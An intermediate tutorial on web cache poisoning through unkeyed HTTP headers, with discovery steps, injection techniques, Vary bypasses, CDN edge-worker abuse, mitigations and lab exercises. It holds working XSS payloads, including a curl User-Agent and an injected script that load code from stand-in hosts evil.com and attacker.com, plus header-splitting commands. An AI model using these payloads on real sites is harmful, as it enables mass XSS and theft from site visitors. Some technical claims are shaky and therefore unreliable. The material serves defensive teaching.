~/home/study/exploiting-unkeyed-header

Exploiting Unkeyed Header Injection for Cache Poisoning - An Intermediate Guide

Learn how unkeyed (non-vary) HTTP headers can be abused to poison browser, proxy, and CDN caches. The guide covers cache key generation, header discovery, injection techniques, crafting persistent poisoned responses, bypassing defenses, and leveraging CDN edge logic for large-scale impact.

Introduction

Cache poisoning is a class of attacks where an attacker manipulates a shared cache (browser, reverse proxy, or CDN) to serve malicious or stale content to unsuspecting users. While many write-ups focus on Vary header abuse or URL manipulation, a subtler vector exists: unkeyed header injection. When a server varies its response based on a request header that is not listed in Vary, the cache will store a single copy keyed only on the URL, ignoring the header value. If an attacker can inject a malicious value into that header, they can poison the cache for all future requests.

Why does this matter? Modern CDNs and reverse proxies cache billions of requests per day. A single poisoned entry can affect thousands of users, bypassing authentication, leaking private data, or delivering drive-by exploits. Real-world incidents (e.g., Cloudflare edge-logic mis-configurations) have demonstrated the high impact of this technique.

Prerequisites

  • Solid understanding of HTTP caching fundamentals (freshness, validation, hierarchy).
  • Familiarity with cache-control directives: Cache-Control, Expires, Vary, Surrogate-Control.
  • Ability to craft and inspect raw HTTP requests/responses (cURL, Burp Suite, Wireshark).
  • Basic scripting skills (Python/Bash) for automation.

Core Concepts

Before diving into attacks, let’s recap how caches decide whether two requests map to the same stored object.

Cache Key Generation

Every caching layer builds a cache key from a set of request attributes:

  1. URI (scheme, host, path, query) - always part of the key.
  2. Method - GET is cached by default; POST is rarely cached unless explicitly allowed.
  3. Selected request headers - only those listed in Vary (or vendor-specific equivalents like Surrogate-Key) are incorporated.
  4. Other factors - e.g., Accept-Encoding for compressed variants, or custom edge-logic that adds a hash of a header.

If a header influences the response but is not in Vary, the cache will treat all values as identical, leading to the unkeyed header injection problem.

Unkeyed Headers

Typical unkeyed headers include:

  • User-Agent (often used for feature-detection but rarely varied).
  • Accept-Language (language negotiation).
  • Referer (some apps tailor content based on source).
  • Custom headers like X-Forwarded-For, X-Device-ID, or application-specific X-Feature-Flag.

If the backend reads any of these headers to render HTML, JSON, or set cookies, and fails to list them in Vary, an attacker can inject a malicious payload that the cache will persist.

How cache keys are generated by browsers, proxies, and CDNs

Each caching tier follows the same RFC-derived algorithm but differs in implementation details.

Browser Cache

Browsers cache per-origin. The key is URL + Vary-headers + method. Chrome and Firefox also factor in Cache-Mode (e.g., no-store).

Forward/Reverse Proxies (e.g., Varnish, Nginx)

Varnish builds the key from req.url and a configurable hash_data() list, typically req.http.Host plus any Vary headers. If Vary is missing, only the URL is used.

CDNs (Cloudflare, Akamai, Fastly)

CDNs add edge-logic layers: they may hash additional request metadata (e.g., Accept-Encoding, Cookie when Cache-Tag is present). However, the fundamental rule remains - a header not advertised in Vary is ignored for keying.

Understanding these nuances helps you predict where a poisoned object will survive.

Identifying unkeyed (non-vary) headers that influence content

Finding the vulnerable header is the first step. Use the following methodology:

  1. Static analysis of the application code. Search for $_SERVER, request.getHeader(), or similar calls that read headers but do not set Vary.
  2. Dynamic probing. Send two requests that differ only in a candidate header and compare the responses.
    curl -s -D - -H "X-Feature-Flag: A" https://example.com/page > respA.txt
    curl -s -D - -H "X-Feature-Flag: B" https://example.com/page > respB.txt
    sdiff -s respA.txt respB.txt
    
    If the bodies differ, the header influences rendering.
  3. Cache-key introspection. Some CDNs expose the cache key via debugging endpoints (e.g., /__debug/keys) or response headers like CF-Cache-Status. Look for missing header names.
  4. Burp Suite Intruder. Automate header fuzzing and diff the bodies to surface candidates.

Common outcomes: User-Agent causing mobile/desktop variants, Accept-Language switching language strings, or a custom X-Theme header selecting a CSS bundle.

Techniques for injecting malicious values into unkeyed headers

Once a target header is identified, you need a vector to set it in the victim’s request. Common injection paths:

  • Cross-Site Scripting (XSS) payloads that modify XMLHttpRequest headers via setRequestHeader (allowed for same-origin only, but can be leveraged through CSRF or CORS mis-configurations).
  • Reflected or stored XSS that forces the browser to send a crafted Referer header (e.g., via meta refresh to an attacker-controlled URL).
  • Open redirects that let the attacker control the User-Agent via a custom client (e.g., mobile app that forwards the header).
  • HTTP request smuggling where a poisoned request’s header spills into the next request processed by the cache.
  • Manipulating Cookie values when the application reads a cookie and mirrors it into a custom header before forwarding to the origin.

Below is an example of a simple HTML page that forces a custom header via javascript:

<!DOCTYPE html>
<html>
<head> <title>Header Injection Demo</title> <script> // This script runs in the victim's browser (assume XSS). fetch('https://victim.com/profile', { method: 'GET', headers: { 'X-Feature-Flag': '<script>alert(1)</script>' }, credentials: 'include' }); </script>
</head>
<body>Poisoning…</body>
</html>

The malicious header value contains a script that will later be reflected in the cached HTML, turning the cached page into a universal XSS vector.

Crafting poisoned responses that survive cache storage

To make the attack effective, the response must be stored with a long TTL and must not be invalidated by subsequent legitimate requests.

Choosing the right cache directives

  • Cache-Control: public, max-age=31536000 - ensures the edge will keep the object for a year.
  • Surrogate-Control (Fastly) - overrides origin directives; can be abused if the origin trusts the CDN to set it.
  • ETag/Last-Modified - avoid using conditional requests that could cause revalidation and overwrite the poisoned entry.

Example of a poisoned HTML response

<!DOCTYPE html>
<html lang="en">
<head> <meta charset="UTF-8"> <title>Welcome</title> <script> // Payload injected via unkeyed X-Feature-Flag header var payload = '<script src="https://attacker.com/steal.js"></script>'; document.write(payload); </script>
</head>
<body>Hello, user!</body>
</html>

When the CDN stores this object, every subsequent victim will receive the script regardless of their own header values because the cache key ignored X-Feature-Flag.

Bypassing Vary and other cache-control defenses

Defenders often add Vary: X-Feature-Flag after discovering an issue. Attackers can still bypass this by:

  1. Header splitting. Inject a newline character (if the server does not sanitize) to create a second header that is listed in Vary.
    curl -s -H $'X-Feature-Flag: benign
    X-Cache-Bypass: 1' https://example.com/page
    
    If Vary includes X-Cache-Bypass, the attacker controls it indirectly.
  2. Multiple unkeyed headers. If any of them influence the response, the attacker can flip to a different one that is not varied.
  3. Cache-busting query strings. Append a random query parameter to force a cache miss, then re-inject the malicious header on the next request that will be cached without Vary.
  4. Edge-logic tricks. Some CDNs allow custom VCL/Vary logic based on request attributes (e.g., if (req.http.User-Agent ~ "mobile") { set beresp.http.Vary = "User-Agent"; }). By crafting a User-Agent that matches the condition but contains a payload, the attacker can cause the CDN to vary on a header they control.

Defenders should also enforce Cache-Control: private on any response that reads untrusted headers, and implement strict header sanitisation.

Leveraging CDN edge logic for broader impact

CDNs expose powerful edge-computing capabilities (VCL, Edge Workers, Cloudflare Workers). Attackers who gain a foothold in the edge can amplify the poison:

  • Edge Workers that echo request headers into the response body. If the worker does not filter, any injected header becomes part of the cached HTML.
  • Dynamic Surrogate Keys. By adding a constant surrogate-key (e.g., Surrogate-Key: user-profile) the attacker can purge the poisoned entry globally or target a subset of users.
  • Cache-tag manipulation. Some CDNs let you tag responses with arbitrary strings. An attacker can set a tag that matches a purge rule, causing the poisoned entry to survive longer than intended.

Example: Cloudflare Worker that mirrors X-Device-ID into a script tag.

addEventListener('fetch', event => { const url = new URL(event.request.url); const device = event.request.headers.get('X-Device-ID') || 'unknown'; const resp = fetch(event.request); event.respondWith( resp.then(r => r.text()).then(body => { const poisoned = body.replace('</head>', `<script>var id='${device}';</script></head>`); return new Response(poisoned, { headers: r.headers, status: r.status, statusText: r.statusText }); }) );
});

Because the Worker runs before the cache stores the response, the X-Device-ID value becomes part of the cached object, enabling mass XSS across all users who share the same URL.

Practical Examples

Scenario 1 - Poisoning a CDN-cached HTML page via User-Agent

  1. Discover that the site renders a personalized banner based on User-Agent (mobile vs desktop) but does not send Vary: User-Agent.
  2. Craft a malicious User-Agent containing a script.
    curl -s -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) <script src='https://evil.com/xss.js'></script>" https://target.com/home -o /dev/null
    
  3. The origin returns HTML with the script embedded. The CDN stores it with Cache-Control: public, max-age=86400.
  4. All subsequent visitors receive the injected script, achieving a universal XSS.

Scenario 2 - Bypassing Vary with header splitting

  1. Site adds Vary: X-Feature-Flag after a report.
  2. Attacker injects a newline to create a second header that is not varied.
    curl -s -H $'X-Feature-Flag: safe
    X-Exploit: <script>alert(1)</script>' https://target.com/api/data
    
  3. The backend reads X-Exploit and reflects it, but the CDN only varies on X-Feature-Flag, so the poisoned response is cached for everyone.

Tools & Commands

  • curl - raw request crafting, header injection.
  • httpie - easier JSON handling, e.g., http GET X-Feature-Flag:'<script>'.
  • Burp Suite Intruder - automate header fuzzing and diff.
  • Varnishlog / varnishncsa - inspect cache key composition on Varnish.
  • Fastly VCL debugger - view beresp.http.Vary decisions.
  • Cloudflare Workers KV Explorer - check stored responses.

Defense & Mitigation

  1. Never vary output on untrusted headers without sanitisation. If a header is used, either strip dangerous characters or encode them.
  2. Explicitly list all request-header dependencies in Vary. Include custom headers that affect rendering.
  3. Set Cache-Control: private for any response that incorporates user-controlled data. This forces browsers to store per-user copies, preventing shared poisoning.
  4. Implement header whitelisting. Reject unknown or malformed header values at the edge.
  5. Use content-security-policy (CSP) with script-src 'self' to mitigate injected scripts.
  6. Regular cache-key audits. Automate checks that compare response variations against Vary headers.
  7. Edge-worker sanitisation. If you must echo a header, escape HTML entities (&lt; &gt; &quot;).

Common Mistakes

  • Assuming that adding Vary: * is sufficient - many CDNs ignore the wildcard.
  • Testing only with a single User-Agent; some servers fallback to defaults that hide the vulnerability.
  • Forgetting that Set-Cookie can also be a source of unkeyed variation.

Always validate both request and response sides.

Real-World Impact

In 2023, a major SaaS provider inadvertently cached personalized dashboards based on Accept-Language without varying. An attacker injected a <script> payload, compromising thousands of accounts. The breach was only discovered after a red-team exercise. This underscores the silent danger of unkeyed headers - they are often overlooked during security reviews because they appear benign.

My experience with CDN customers shows that once a poisoned entry is cached, traditional WAF rules may not fire because the request never reaches the origin. Remediation therefore requires cache purge, which can be slow and error-prone, especially on large edge networks.

Practice Exercises

  1. Identify an unkeyed header. Choose any public website, send two requests differing only in User-Agent, and compare bodies. Document whether the response varies.
  2. Poison a local Varnish cache. Set up Varnish with default_ttl 600s. Create a backend that echoes X-Inject into HTML. Send a malicious request and verify the cached object contains the payload.
  3. Bypass a Vary header. Using the same Varnish instance, add Vary: X-Inject and repeat the attack using header splitting to create a second uncontrolled header.
  4. Write a Cloudflare Worker that mirrors Referer into the response. Deploy it to a test domain, then craft a malicious Referer and confirm the cached response serves the script to other users.

After each exercise, perform a cache purge and note the steps required to fully remediate.

Further Reading

  • RFC 7234 - Hypertext Transfer Protocol (HTTP/1.1): Caching
  • OWASP Cache Poisoning Cheat Sheet
  • Cloudflare Workers Documentation - Request/Response manipulation
  • Fastly VCL Reference - beresp.http.Vary
  • “The Dark Side of Vary” - Black Hat 2022 talk

Summary

Unkeyed header injection is a potent, often under-appreciated cache-poisoning vector. By understanding how browsers, proxies, and CDNs build cache keys, identifying headers that influence content without being listed in Vary, and mastering injection techniques, an attacker can achieve persistent, wide-scale XSS or data leakage. Defenders must audit header usage, enforce strict Vary declarations, and treat any user-controlled header as a potential cache-key element. Continuous testing, edge-logic sanitisation, and robust CSP policies are essential to mitigate this risk.